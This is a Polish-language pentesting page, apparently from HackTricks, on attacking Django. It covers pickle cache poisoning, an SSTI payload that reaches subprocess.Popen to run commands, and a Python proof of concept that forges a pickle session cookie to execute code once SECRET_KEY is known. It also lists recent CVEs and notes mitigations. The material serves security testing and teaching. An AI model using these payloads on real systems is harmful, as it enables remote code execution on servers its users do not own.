# Django {{#include ../../banners/hacktricks-training.md}} ## Manipulacja pamięcią podręczną do RCE Domyślną metodą przechowywania pamięci podręcznej w Django są [Python pickles](https://docs.python.org/3/library/pickle.html), co może prowadzić do RCE, jeśli [niezaufane dane wejściowe są odpakowywane](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący uzyska dostęp do zapisu w pamięci podręcznej, może eskalować tę podatność do RCE na serwerze bazowym**. Pamięć podręczna Django jest przechowywana w jednym z czterech miejsc: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [pamięci](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [plikach](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) lub w [bazie danych](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Pamięć podręczna przechowywana na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (iniekcja Redis i iniekcja SQL), ale atakujący może również wykorzystać pamięć podręczną opartą na plikach, aby przekształcić dowolny zapis w RCE. Utrzymujący oznaczyli to jako problem, który nie wymaga uwagi. Ważne jest, aby zauważyć, że folder plików pamięci podręcznej, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji. Ten raport HackerOne dostarcza świetny, powtarzalny przykład wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436 --- ## Wstrzykiwanie szablonów po stronie serwera (SSTI) Język szablonów Django (DTL) jest **kompletny w sensie Turinga**. Jeśli dane dostarczone przez użytkownika są renderowane jako *ciąg szablonu* (na przykład przez wywołanie `Template(user_input).render()` lub gdy `|safe`/`format_html()` usuwa automatyczne eskapowanie), atakujący może osiągnąć pełne SSTI → RCE. ### Wykrywanie 1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()`, które zawierają *jakiekolwiek* niesanitizowane dane żądania. 2. Wyślij ładunek oparty na czasie lub arytmetyce: ```django {{7*7}} ``` Jeśli renderowany wynik zawiera `49`, dane wejściowe są kompilowane przez silnik szablonów. ### Primitwa do RCE Django blokuje bezpośredni dostęp do `__import__`, ale graf obiektów Pythona jest osiągalny: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od wersji Pythona) i wykonaj dowolne polecenia: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` Bezpieczniejszym uniwersalnym gadżetem jest iteracja, aż `cls.__name__ == 'Popen'`. Ten sam gadżet działa dla funkcji renderowania **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika. --- ## RCE z wykorzystaniem ciasteczka sesyjnego opartego na Pickle Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i unpickluje* ciasteczko sesyjne **przed** wywołaniem jakiegokolwiek kodu widoku. Dlatego posiadanie ważnego klucza podpisu (domyślnie `SECRET_KEY` projektu) wystarcza do natychmiastowego zdalnego wykonania kodu. ### Wymagania dotyczące eksploatacji * Serwer używa `PickleSerializer`. * Atakujący zna / może zgadnąć `settings.SECRET_KEY` (wycieki przez GitHub, `.env`, strony błędów itp.). ### Dowód koncepcji ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer from django.core import signing import os, base64 class RCE(object): def __reduce__(self): return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` Wyślij wynikowe ciasteczko, a ładunek działa z uprawnieniami pracownika WSGI. **Mitigacje**: Utrzymuj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`. --- ## Ostatnie (2023-2025) Wysokiego Wpływu CVE Django, które powinni sprawdzić pentesterzy * **CVE-2025-48432** – *Wstrzykiwanie logów przez nieucieczone `request.path`* (naprawione 4 czerwca 2025). Pozwala atakującym na przemycanie nowych linii/kodów ANSI do plików logów i zanieczyszczanie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2. * **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonywać dowolne SQL. Naprawione w 4.2.15 / 5.0.8. Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i testuj powyższe tam, gdzie to możliwe. --- ## Odniesienia * Wydanie zabezpieczeń Django – "Django 5.2.2, 5.1.10, 4.2.22 adresuje CVE-2025-48432" – 4 czerwca 2025. * OP-Innovate: "Django wydaje aktualizacje zabezpieczeń w celu rozwiązania problemu z wstrzykiwaniem SQL CVE-2024-42005" – 11 sierpnia 2024. {{#include ../../banners/hacktricks-training.md}}